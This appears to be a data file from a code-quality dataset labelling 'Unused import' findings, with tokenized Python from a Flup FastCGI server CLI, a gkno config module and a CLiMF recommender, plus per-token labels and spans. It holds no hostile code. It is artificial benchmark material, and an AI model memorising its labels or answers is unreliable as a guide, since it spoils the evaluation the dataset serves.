" ", " ", " ", "Flu", "p", " ", "Fast", "CGI", " ", "server", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "app", ":", " ", "ik", "tom", "i", " ", "app", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "bind", ":", " ", "socket", " ", "file", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "logfile", ":", " ", "log", " ", "file", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "pid", "file", ":", " ", "PID", " ", "file", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "cw", "d", ":", " ", "current", " ", "working", " ", "director", "y", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "umask", ":", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "dict", " ", "fast", "cgi", "\\u", "params", ":", " ", "argu", "ment", "s", " ", "accept", "ed", " ", "by", " ", "flu", "p", " ", "`", "WS", "GI", "Server", "`", ",", "\\", "10", ";", " ", " ", " ", " ", "plus", " ", "`", "pref", "ork", "ed", "`", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Flu", "p_", "(_", "Cli", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "app_", ",_", "bind_", "=_", "''_", ",_", "logfile_", "=_", "None_", ",_", "pidfile_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cwd_", "=_", "'.'_", ",_", "umask", "_", "=_", "00_", "2_", ",_", "fast", "cgi", "\\u", "params_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "=_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cwd_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "cwd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "':'_", "in_", "bind_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", ",_", "port_", "=_", "bind_", "._", "split_", "(_", "':'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "int_", "(_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bind_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "bind_", "or_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "cwd_", ",_", "'", "fc", "gi", ".", "sock", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "safe", "\\u", "makedirs_", "(_", "bind_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "bind_", "=_", "bind_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "umask", "_", "=_", "umask", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "logfile_", "=_", "logfile_", "or_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "cwd_", ",_", "'", "fc", "gi", ".", "log", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pidfile_", "=_", "pidfile_", "or_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "cwd_", ",_", "'", "fc", "gi", ".", "pid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fast", "cgi", "\\u", "params_", "=_", "fast", "cgi", "\\u", "params_", "or_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Flu", "p_", "(_", "Cli", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "start_", "(_", "self_", ",_", "daemon", "ize_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Start", " ", "a", " ", "server", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "./", "manage", ".", "py", " ", "flu", "p", ":", "start", " ", "[-", "-", "daemon", "ize", "]", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "daemon", "ize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "safe", "\\u", "makedirs_", "(_", "self_", "._", "logfile_", ",_", "self_", "._", "pidfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "flu", "p", "\\u", "fast", "cgi_", "(_", "self_", "._", "app_", ",_", "bind_", "=_", "self_", "._", "bind_", ",_", "pidfile_", "=_", "self_", "._", "pidfile_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "logfile_", "=_", "self_", "._", "logfile_", ",_", "daemon", "ize_", "=_", "daemon", "ize_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cwd_", "=_", "self_", "._", "cwd_", ",_", "umask", "_", "=_", "self_", "._", "umask", "_", ",_", "**_", "self_", "._", "fast", "cgi", "\\u", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Flu", "p_", "(_", "Cli", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Sto", "p", " ", "a", " ", "server", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "./", "manage", ".", "py", " ", "flu", "p", ":", "stop", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "pidfile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "pidfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "\"", "Pid", "file", " ", "{", "!", "r", "}", " ", "doe", "sn", "'", "t", " ", "exist", "\"_", "._", "format_", "(_", "self_", "._", "pidfile_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "open_", "(_", "self_", "._", "pidfile_", ")_", "as_", "pidfile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid_", "=_", "int_", "(_", "pidfile_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "sig_", "in_", "[_", "signal_", "._", "SIGINT_", ",_", "signal_", "._", "SIGTERM_", ",_", "signal_", "._", "SIG", "KILL", "_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "terminate_", "(_", "pid_", ",_", "sig_", ",_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "os_", "._", "remove_", "(_", "self_", "._", "pidfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "exc_", "._", "errno_", "!=_", "errno_", "._", "ESR", "CH_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sig_", "==_", "signal_", "._", "SIGINT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sys_", "._", "exit_", "(_", "'", "Not", " ", "runn", "ing", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "exit_", "(_", "'", "No", " ", "pid", "file", " ", "provided", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Flu", "p_", "(_", "Cli", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "restart_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "command", "\\u", "stop_", "(_", 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gknoResources\nimport gkno.conf.gknoTools\n\ndependencies = gknoDependencies.List\nresources = gknoResources.List\ntools = gknoTools.List\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import gkno.conf.gknoDependencies", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 33 }, { "span": "import gkno.conf.gknoResources", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 30 }, { "span": "import gkno.conf.gknoTools", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 26 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "gk", "no_", "._", "conf_", "._", "gk", "no", "Dependenc", "ies_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gk", "no_", "._", "conf_", "._", "gk", "no", "Resources_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gk", "no_", "._", "conf_", "._", "gk", "no", "Tools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dependencies_", "=_", "gk", "no", "Dependenc", "ies_", "._", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resources_", "=_", "gk", "no", "Resources_", "._", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tools_", "=_", "gk", "no", "Tools_", "._", "List_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Mendeley/mrec/mrec/mf/climf.py
[ { "content": "\"\"\"\nCLiMF Collaborative Less-is-More Filtering, a variant of latent factor CF\nwhich optimises a lower bound of the smoothed reciprocal rank of \"relevant\"\nitems in ranked recommendation lists. The intention is to promote diversity\nas well as accuracy in the recommendations. The method assumes binary\nrelevance data, as for example in friendship or follow relationships.\n\nCLiMF: Learning to Maximize Reciprocal Rank with Collaborative Less-is-More Filtering\nYue Shi, Martha Larson, Alexandros Karatzoglou, Nuria Oliver, Linas Baltrunas, Alan Hanjalic\nACM RecSys 2012\n\"\"\"\n\nfrom math import exp, log\nimport random\nimport numpy as np\n\nfrom mrec.mf.recommender import MatrixFactorizationRecommender\n\n\n# TODO: cythonize most of this...\n\n\n\n\n\n\nif __name__ == '__main__':\n import cProfile\n cProfile.run('main()')\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def g(x):\n \"\"\"sigmoid function\"\"\"\n return 1/(1+exp(-x))", "metadata": "root.g", "header": "['module', '___EOS___']", "index": 22 }, { "content": "def dg(x):\n \"\"\"derivative of sigmoid function\"\"\"\n return exp(x)/(1+exp(x))**2", "metadata": "root.dg", "header": "['module', '___EOS___']", "index": 26 }, { "content": "class CLiMFRecommender(MatrixFactorizationRecommender):\n\n\n\n\n\n", "metadata": "root.CLiMFRecommender", "header": "['module', '___EOS___']", "index": 30 }, { "content": " def __init__(self,d,lbda=0.01,gamma=0.01,max_iters=25):\n self.d = d\n self.lbda = lbda\n self.gamma = gamma\n self.max_iters = max_iters", "metadata": "root.CLiMFRecommender.__init__", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 32 }, { "content": " def fit(self,data):\n self.U = 0.01*np.random.random_sample((data.shape[0],self.d))\n self.V = 0.01*np.random.random_sample((data.shape[1],self.d))\n # TODO: create a validation set\n\n for iter in xrange(self.max_iters):\n print 'iteration {0}:'.format(iter+1)\n print 'objective = {0:.4f}'.format(self.objective(data))\n self.update(data)\n # TODO: compute MRR on validation set, terminate if appropriate", "metadata": "root.CLiMFRecommender.fit", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 38 }, { "content": " def precompute_f(self,data,i):\n \"\"\"\n precompute f[j] = <U[i],V[j]>\n\n params:\n data: scipy csr sparse matrix containing user->(item,count)\n U : user factors\n V : item factors\n i : item of interest\n\n returns:\n dot products <U[i],V[j]> for all j in data[i]\n \"\"\"\n items = data[i].indices\n f = dict((j,np.dot(self.U[i],self.V[j])) for j in items)\n return f", "metadata": "root.CLiMFRecommender.precompute_f", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 49 }, { "content": " def objective(self,data):\n \"\"\"\n compute objective function F(U,V)\n\n params:\n data: scipy csr sparse matrix containing user->(item,count)\n U : user factors\n V : item factors\n lbda: regularization constant lambda\n returns:\n current value of F(U,V)\n \"\"\"\n F = -0.5*self.lbda*(np.sum(self.U*self.U)+np.sum(self.V*self.V))\n for i in xrange(len(self.U)):\n f = self.precompute_f(data,i)\n for j in f:\n F += log(g(f[j]))\n for k in f:\n F += log(1-g(f[k]-f[j]))\n return F", "metadata": "root.CLiMFRecommender.objective", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 66 }, { "content": " def update(self,data):\n \"\"\"\n update user/item factors using stochastic gradient ascent\n\n params:\n data : scipy csr sparse matrix containing user->(item,count)\n U : user factors\n V : item factors\n lbda : regularization constant lambda\n gamma: learning rate\n \"\"\"\n for i in xrange(len(self.U)):\n dU = -self.lbda*self.U[i]\n f = self.precompute_f(data,i)\n for j in f:\n dV = g(-f[j])-self.lbda*self.V[j]\n for k in f:\n dV += dg(f[j]-f[k])*(1/(1-g(f[k]-f[j]))-1/(1-g(f[j]-f[k])))*self.U[i]\n self.V[j] += self.gamma*dV\n dU += g(-f[j])*self.V[j]\n for k in f:\n dU += (self.V[j]-self.V[k])*dg(f[k]-f[j])/(1-g(f[k]-f[j]))\n self.U[i] += self.gamma*dU", "metadata": "root.CLiMFRecommender.update", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 87 }, { "content": " def compute_mrr(self,data,test_users=None):\n \"\"\"\n compute average Mean Reciprocal Rank of data according to factors\n\n params:\n data : scipy csr sparse matrix containing user->(item,count)\n U : user factors\n V : item factors\n test_users: optional subset of users over which to compute MRR\n\n returns:\n the mean MRR over all users in data\n \"\"\"\n mrr = []\n if test_users is None:\n test_users = range(len(self.U))\n for ix,i in enumerate(test_users):\n items = set(data[i].indices)\n if not items:\n continue\n predictions = np.sum(np.tile(self.U[i],(len(self.V),1))*self.V,axis=1)\n found = False\n for rank,item in enumerate(np.argsort(predictions)[::-1]):\n if item in items:\n mrr.append(1.0/(rank+1))\n found = True\n break\n if not found:\n print 'fail, no relevant items predicted for test user {0}'.format(i+1)\n print 'known items: {0}'.format(items)\n assert(len(mrr) == len(test_users))\n return np.mean(mrr)", "metadata": "root.CLiMFRecommender.compute_mrr", "header": "['class', 'CLiMFRecommender', '(', 'MatrixFactorizationRecommender', ')', ':', '___EOS___']", "index": 111 }, { "content": "def main():\n import sys\n from mrec import load_sparse_matrix, save_recommender\n from mrec.mf.climf import CLiMFRecommender\n\n file_format = sys.argv[1]\n filepath = sys.argv[2]\n outfile = sys.argv[3]\n\n # load training set as scipy sparse matrix\n train = load_sparse_matrix(file_format,filepath)\n\n model = CLiMFRecommender(d=5)\n model.fit(train)\n\n save_recommender(model,outfile)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 144 } ]
[ { "span": "import random", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "CL", "i", "MF", " ", "Colla", "bora", "tiv", "e", " ", "Less", "-", "is", "-", "Mor", "e", " ", "Filtering", ",", " ", "a", " ", "variant", " ", "of", " ", "latent", " ", "factor", " ", "CF", "\\", "10", ";", "whi", "ch", " ", "optimis", "es", " ", "a", " ", "lower", " ", "bound", " ", "of", " ", "the", " ", "smoothed", " ", "reciproc", "al", " ", "rank", " ", "of", " ", "\"", "rele", "van", "t", "\"", "\\", "10", ";", "items", " ", "in", " ", "ranked", " ", "recommendation", " ", "lists", ".", " ", " ", "The", " ", "intent", "ion", " ", "is", " ", "to", " ", "promote", " ", "divers", "it", "y", "\\", "10", ";", "as", " ", "well", " ", "as", " ", "accu", "rac", "y", " ", "in", " ", "the", " ", "recommendations", ".", " ", " ", "The", " ", "method", " ", "assume", "s", " ", "binar", "y", "\\", "10", ";", "relevance", " ", "data", ",", " ", "as", " ", "for", " ", "example", " ", "in", " ", "friends", "hip", " ", "or", " ", "follow", " ", "relation", "ships", ".", "\\", "10", ";", "\\", "10", ";", "CL", "i", "MF", ":", " ", "Learn", "ing", " ", "to", " ", "Maxim", "ize", " ", "Recip", "roc", "al", " ", "Rank", " ", "with", " ", "Colla", "bora", "tiv", "e", " ", "Less", "-", "is", "-", "Mor", "e", " ", "Filtering", "\\", "10", ";", "Yu", "e", " ", "Shi", ",", " ", "Mart", "ha", " ", "Lar", "son", ",", " ", "Alexa", "ndr", "os", " ", "Kar", "at", "zo", "glo", "u", ",", " ", "Nu", "ria", " ", "Oli", "ver", ",", " ", "Lin", "as", " ", "Bal", "tru", "nas", ",", " ", "Ala", "n", " ", "Han", "ja", "lic", "\\", "10", ";", "ACM", " ", "Rec", "Sys", " ", "2012", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "math_", "import_", "exp_", ",_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mre", "c_", "._", "mf_", "._", "recommende", "r_", "import_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "cython", "ize", " ", "most", " ", "of", " ", "this", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "c", "Profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c", "Profile_", "._", "run_", "(_", "'", "main", "()'_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "g_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "sigm", "oid", " ", "function", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "/_", "(_", "1_", "+_", "exp_", "(_", "-_", "x_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dg_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "deriv", "ative", " ", "of", " ", "sigm", "oid", " ", "function", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "exp_", "(_", "x_", ")_", "/_", "(_", "1_", "+_", "exp_", "(_", "x_", ")_", ")_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "d_", ",_", "lb", "da_", "=_", "0.01_", ",_", "gamma_", "=_", "0.01_", ",_", "max", "\\u", "iters_", "=_", "25_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "d_", "=_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lb", "da_", "=_", "lb", "da_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gamma_", "=_", "gamma_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "\\u", "iters_", "=_", "max", "\\u", "iters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fit_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "U_", "=_", "0.01_", "*_", "np_", "._", "random_", "._", "random", "\\u", "sample_", "(_", "(_", "data_", "._", "shape_", "[_", "0_", "]_", ",_", "self_", "._", "d_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "V_", "=_", "0.01_", "*_", "np_", "._", "random_", "._", "random", "\\u", "sample_", "(_", "(_", "data_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "d_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "create", " ", "a", " ", "validation", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "iter_", "in_", "xrange_", "(_", "self_", "._", "max", "\\u", "iters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "iterati", "on", " ", "{", "0", "}:", "'_", "._", "format_", "(_", "iter_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "objecti", "ve", " ", "=", " ", "{", "0", ":.", "4f", "}'_", "._", "format_", "(_", "self_", "._", "objective_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "compute", " ", "MR", "R", " ", "on", " ", "validation", " ", "set", ",", " ", "terminate", " ", "if", " ", "appropr", "iate", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "precompute", "\\u", "f_", "(_", "self_", ",_", "data_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "precompute", " ", "f", "[", "j", "]", " ", "=", " ", "<", "U", "[", "i", "],", "V", "[", "j", "]>", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "params", ":", "\\", "10", ";", " ", " ", "data", ":", " ", "sci", "py", " ", "csr", " ", "spars", "e", " ", "matrix", " ", "contain", "ing", " ", "user", "->", "(", "item", ",", "count", ")", "\\", "10", ";", " ", " ", "U", " ", " ", " ", ":", " ", "user", " ", "factor", "s", "\\", "10", ";", " ", " ", "V", " ", " ", " ", ":", " ", "item", " ", "factor", "s", "\\", "10", ";", " ", " ", "i", " ", " ", " ", ":", " ", "item", " ", "of", " ", "interest", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "return", "s", ":", "\\", "10", ";", " ", " ", "dot", " ", "products", " ", "<", "U", "[", "i", "],", "V", "[", "j", "]>", " ", "for", " ", "all", " ", "j", " ", "in", " ", "data", "[", "i", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "items_", "=_", "data_", "[_", "i_", "]_", "._", "indices_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "dict_", "(_", "(_", "j_", ",_", "np_", "._", "dot_", "(_", "self_", "._", "U_", "[_", "i_", "]_", ",_", "self_", "._", "V_", "[_", "j_", "]_", ")_", ")_", "for_", "j_", "in_", "items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CL", "i", "MF", "Recommend", "er_", "(_", "Matrix", "Factor", "izatio", "n", "Recommend", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "objective_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "compute", " ", "objecti", "ve", " ", "function", " ", "F", "(", "U", ",", "V", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "params", ":", 